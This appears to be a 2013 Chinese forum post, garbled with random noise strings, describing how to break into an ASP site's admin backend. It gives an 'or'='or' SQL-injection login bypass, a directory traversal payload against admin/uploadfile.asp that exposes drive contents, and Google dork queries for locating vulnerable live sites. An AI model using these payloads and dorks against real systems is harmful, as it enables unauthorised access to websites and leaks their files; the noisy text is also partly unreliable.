后台万能密码 'or'='or'
' e- e" d: C) k7 H
* D+ ] z% F2 O5 M5 p5 J3 N后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！0 l6 R: {2 e% A6 L# k" s1 F# C& i
admin/uploadfile.asp?currentFolder=/upfiles/../! A+ _( `7 ]; R
( u q1 v- Y% G! h漏洞证明：
y5 C; n6 B5 E. S' L3 P# I+ I; g, L) D! t2 e
谷歌：inurl:type.asp?id=1 新闻中心" j4 F" N/ J6 f4 i. A, m/ w
或者 ：inurl:download_ok.asp?4 y) h" h0 e2 O- g5 a0 O) ]! o; G
& d8 ^) W1 G' U! G |
发表于 2013-3-14 20:17:32
收藏
支持
反对